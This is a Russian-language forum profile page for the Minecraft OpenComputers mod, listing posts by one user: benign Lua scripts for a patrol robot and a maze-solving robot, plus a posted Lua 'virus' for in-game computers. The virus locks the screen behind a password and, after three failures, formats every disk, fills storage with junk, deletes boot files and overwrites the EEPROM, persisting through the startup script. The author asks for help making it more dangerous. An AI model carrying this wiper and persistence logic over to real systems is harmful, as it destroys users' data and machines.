Перейти к содержимому

Faraday

Пользователи
  • Публикации

    10
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные пользователем Faraday


  1. Представляю вам недоработанный проект вируса, который требует пароль и даёт вам 3 попытки в случае неверного ввода, и, если у вас закончатся попытки, то он ломает жёсткие диски, форматирует их и забивает мусорными файлами, а также ломает EEPROM, в случае правильного ввода разблокирует доступ к ПК и самоудаляется, не оставляя следов в системе. МИНУС вирус не имеет автозапуска у меня всегда проблемы с этим поэтому

    Перезагрузка, по идее, спасёт вас, а также не имеет возможности записаться на жёсткий диск и EEPROM для взаимной перепрошивки, если пользователь заменит один из компонентов.

    Если здесь есть мудрые люди, помогите сделать вирус опаснее или привлекательнее.

    Внимание! Данный вирус был разработан исключительно в образовательных целях, чтобы продемонстрировать возможности Lua и OpenCOMPUTER, и не предназначен для причинения вреда. Автор не несёт ответственности за возможный ущерб. Вы действуете на свой страх и риск.

    Установка:

    Любой пк-сервер

    (Для эффектов можно использовать видеокарту 2 уровня и выше.)

     

    Создание файла:

    Откройте терминал OpenOS.

    Введите:  

    edit /.virus.lua

    Вставьте код 

    -- /.virus.lua
    local component = require("component")
    local computer = require("computer")
    local fs = require("filesystem")
    local term = require("term")
    local serialization = require("serialization")
    local shell = require("shell")
    local gpu = component.gpu
    local event = require("event")
    
    -- Настройки
    local PASSWORD = "1337"
    local WIDTH, HEIGHT = gpu.getResolution()
    local VIRUS_PATH = "/.virus.lua" -- Скрытый файл
    
    -- Проверка наличия GPU
    if not component.isAvailable("gpu") then
        return
    end
    
    -- Центрирование текста
    local function centerText(y, text)
        local x = math.floor((WIDTH - #text) / 2)
        gpu.set(x, y, text)
    end
    
    -- Очистка экрана
    local function clearScreen()
        gpu.setBackground(0x0000FF)
        gpu.fill(1, 1, WIDTH, HEIGHT, " ")
        gpu.setForeground(0xFFFFFF)
    end
    
    -- Уничтожение всех носителей
    local function wipeAllDisks()
        for proxy in component.list("filesystem") do
            pcall(function()
                if proxy ~= computer.getBootAddress() and not component.invoke(proxy, "isReadOnly") then
                    component.invoke(proxy, "format")
                end
            end)
        end
    end
    
    -- Заполнение диска мусором
    local function fillDiskWithJunk()
        local junkData = string.rep("0xDEADBEEF", 1000)
        local counter = 1
        while true do
            local fileName = "/.trash_" .. tostring(counter) .. ".dat"
            local file, err = io.open(fileName, "w")
            if not file then break end
            file:write(junkData)
            file:close()
            counter = counter + 1
        end
    end
    
    -- Поломка OpenOS
    local function breakOpenOS()
        pcall(function()
            fs.remove("/etc/rc.lua")
            fs.remove("/bin/lua.lua")
            fs.remove("/lib/core/boot.lua")
        end)
        if component.eeprom then
            component.eeprom.set("corrupted_data_0xDEADBEEF")
        end
    end
    
    -- Самоуничтожение
    local function destroySystem()
        wipeAllDisks()
        fillDiskWithJunk()
        breakOpenOS()
        clearScreen()
        centerText(HEIGHT // 2, "💀 SYSTEM DESTROYED 💀")
        computer.beep(2000, 3)
        computer.shutdown(true)
    end
    
    -- Проверка пароля
    local function checkPassword()
        clearScreen()
        centerText(5, "🚫 SYSTEM LOCKED 🚫")
        centerText(7, "Enter password (3 attempts):")
    
        for i = 1, 3 do
            term.setCursor(math.floor(WIDTH/2 - 7), 9)
            term.write(string.format("Attempt %d: ", i))
            local input = io.read():gsub("[\n\r]", "")
            if input == PASSWORD then
                return true
            end
        end
    
        computer.beep(2000, 1)
        os.sleep(5)
        destroySystem()
        return false
    end
    
    -- Скрытая автозагрузка
    local function ensureAutostart()
        if not fs.exists(VIRUS_PATH) then
            local source = io.open(shell.getRunningScript(), "r")
            local data = source:read("*a")
            source:close()
            local target = io.open(VIRUS_PATH, "w")
            target:write(data)
            target:close()
        end
    
        -- Добавление в автозагрузку через /etc/rc.lua
        if fs.exists("/etc/rc.lua") then
            local rc = io.open("/etc/rc.lua", "a")
            rc:write("\nos.execute('" .. VIRUS_PATH .. "') -- System service")
            rc:close()
        else
            local rc = io.open("/etc/rc.lua", "w")
            rc:write("os.execute('" .. VIRUS_PATH .. "')")
            rc:close()
        end
    end
    
    -- Заражение EEPROM (без смены имени)
    local function infectEEPROM()
        if component.eeprom then
            local eepromCode = [[
                local component = require("component")
                local fs = require("filesystem")
                if not fs.exists("/.virus.lua") then
                    fs.copy("/mnt/" .. component.eeprom.getLabel() .. "/.virus.lua", "/.virus.lua")
                    os.execute("/.virus.lua")
                end
            ]]
            component.eeprom.set(serialization.serialize(eepromCode))
        end
    end
    
    -- Основной код
    ensureAutostart()
    infectEEPROM()
    clearScreen()
    centerText(HEIGHT // 2, "💀 OpenOS FATAL ERROR 💀")
    
    if checkPassword() then
        pcall(function()
            fs.remove(VIRUS_PATH)
            fs.remove("/etc/rc.lua")
        end)
        computer.shutdown(true)
    else
        destroySystem()
    end

    Запустите вирус:

    lua /.virus.lua

    Важно:

    Тестируйте в Creative Mode:

    Восстановление невозможно:
    Для возврата системы потребуется замена HDD и EEPROM.

     

    Внимания я случайно сломал возможность деактивации вируса с помощью пароля !


  2. 10 часов назад, eu_tomat сказал:

    Такое впечатление, будто бы код и описание искусственный интеллект генерировал. Как это вообще работает? Что за датчик мобов из модов? Из каких модов? Зачем опрашивать кучу редстоун-источников роботом, если для этого есть более надёжные и более эффективные средства? Что за активация сигналов лампы на корпусе робота?

    Забыл сказать этот старый код генерировал ии тогда я только познавал программирование на Lua и также код модифицировал ии


  3. 10 часов назад, eu_tomat сказал:

    Предлагаю одну несложную идею: избавиться от лишних поворотов. Сейчас робот делает поворот направо, детектирует блок перед собой, поворачивается налево, проверяет, был ли обнаружен блок справа, и если блока не было, снова поворачивается направо. Эти движения выглядят лишними.

    Да я думаю избавиться от них. Но я пока занят кое каким другим интересным проектом

     


  4. В 30.03.2024 в 22:06, eu_tomat сказал:

    А почему монстров должен обнаруживать именно дрон? В чём выгода именно от такого решения?

    Не знаю ведь это не эффективно и сложно программировать настраивать и тд. Но если ему нужно пусть возьмет мой старый проект дрона только с увеличенным радиусом действие и возможностью более менее реагировать на мобов. Если ещё не поздно

     


  5. Исправленный код для робота (без генератора и полетов):

    local component = require("component")
    local robot = require("robot")
    local sides = require("sides")
    
    -- Проверка компонентов
    if not component.isAvailable("redstone") then
      error("Установите редстоун-карту в слот 2!")
    end
    local redstone = component.redstone
    
    -- Настройки
    local AREA_SIZE = 50  -- Размер зоны патрулирования
    local SCAN_RANGE = 5  -- Радиус поиска мобов (блоки)
    
    -- Упрощенный поиск мобов через редстоун-сигнал
    local function findMobs()
      -- Сканируем область вокруг робота
      for side = 0, 3 do  -- 0: перед, 1: право, 2: зад, 3: лево
        if redstone.getInput(side) > 0 then
          return true  -- Моб обнаружен, если есть редстоун-сигнал
        end
      end
      return false
    end
    
    -- Активация сигнала
    local function alert()
      redstone.setOutput(sides.back, 15)  -- Включаем лампу сзади
      os.sleep(2)
      redstone.setOutput(sides.back, 0)
    end
    
    -- Алгоритм движения "по спирали"
    local function patrol()
      local steps = 0
      while true do
        -- Поиск мобов
        if findMobs() then
          alert()
        end
    
        -- Движение вперед с обходом препятствий
        if robot.detect() then
          robot.turnRight()
        else
          robot.forward()
          steps = steps + 1
        end
    
        -- Смена направления при достижении границы
        if steps >= AREA_SIZE then
          robot.turnRight()
          steps = 0
        end
    
        os.sleep(0.3)
      end
    end
    
    -- Запуск
    patrol()

     


    Инструкция для робота:

    1. Сборка робота:

       
      [Слот 1] Редстоун-карта (Tier 1 или 2)
      [Слот 2] Датчик мобов (Mob Sensor) - если есть в модах
    2. Подготовка:

      • Поставьте робота в центр зоны.

      • Разместите редстоун-датчики движения вокруг территории (они будут отправлять сигнал при обнаружении мобов).

    3. Установка кода:

      edit patrol.lua

      Вставьте код выше → Сохраните (Ctrl+S → Enter).

    4. Запуск:

      patrol.lua

    Как это работает:

    • Робот движется по квадрату, обходя препятствия.

    • Принимает редстоун-сигналы от датчиков, установленных на местности.

    • Активирует сигнал лампы на своем корпусе при обнаружении мобов.


    Если ошибка сохраняется:

    1. Убедитесь, что:

      • Редстоун-карта установлена в слот 2.

      • В конфиге мода разрешено взаимодействие с мобами.

      • Нет синтаксических ошибок (например, os.sleep(0.3) → должна быть скобка )).

    2. Для проверки компонентов введите в консоли робота:

      lua print(component.list())
    3. Упростите код, удалив функцию findMobs() и оставить только движение:

       
      local robot = require("robot")
      while true do
        robot.forward()
        os.sleep(0.3)
      end

    Пример рабочей схемы:

     
    [Датчик мобов] → [Редстоун-пыль] → [Робот]
           ▲
           └─ Моб в радиусе 5 блоков
    

    Извините что всё кривожопо единственный минус код на робота и не летающий дистанция 50 на 50 блоков умеет обходить препятствие обнаруживает сущность подаёт редстон сигнал при помощи платы на красном камне 2 уровня если здесь есть умельцы вы можете взять мой код для основы вашего проекта


  6. Здравствуйте! Я нашёл это замечательное сообщество и сразу понял, что мне сюда. Меня зовут Фарадей, я начинающий программист. Поэтому прошу не судить строго, если обнаружите ошибки в коде. Буду признателен за поддержку и рекомендации от более опытных пользователей.

    Сегодня хочу представить новый проект — робота, который проходит 98% всех лабиринтов в Minecraft. Его принцип действия прост: он использует правило правой руки. Больше ничего не скажу, давайте перейдём к установке.

    Установка

    Минимальные требования для робота:

    • Любой процессор (Tier 1)

    • Любая память (RAM Tier 1)

    • Любая видеокарта

    • Любой корпус

    1. Поставьте робота на землю (ПКМ по блоку).

    2. Откройте интерфейс робота (ПКМ по нему).

    3. Вставьте дискету или жёсткий диск (опционально, если хотите сохранить код).

    4. Откройте интерфейс робота и введите команду:

     

    edit maze.lua

     

     

    Откроется текстовый редактор. Вставьте этот код:

     

    local robot = require("robot")
    
    local function checkRight()
      robot.turnRight()
      local obstacle = robot.detect()
      robot.turnLeft()
      return obstacle
    end
    
    local function checkLeft()
      robot.turnLeft()
      local obstacle = robot.detect()
      robot.turnRight()
      return obstacle
    end
    
    while true do
      if not checkRight() then
        robot.turnRight()
        robot.forward()
      elseif not robot.detect() then
        robot.forward()
      else
        robot.turnLeft()
      end
      os.sleep(0.2)
    end
    
     
    
     

     

    Сохраните файл:

    • Нажмите Ctrl + S → Enter.

    • Закройте редактор: нажмите Ctrl + W.

    • В интерфейсе робота введите: 

      maze.lua

       

     

    Как остановить дрона ?

    введите: 

    kill

    Это принудительно остановит программу.

     

     

    • Позиционирование:
      - Поставьте робота лицом к входу в лабиринт.
      - Убедитесь, что перед ним нет блоков (должен быть воздух).

    Устранение неполадок

    • Робот не двигается:
      - Проверьте, нет ли блоков перед ним (используйте robot.forward() в консоли).
      - Убедитесь, что код сохранён как maze.lua.

    • Программа вылетает:
      - Убедитесь, что в лабиринте нет лестниц или полупрозрачных блоков.
      - Все стены должны быть высотой 1 блок.

×
×
  • Создать...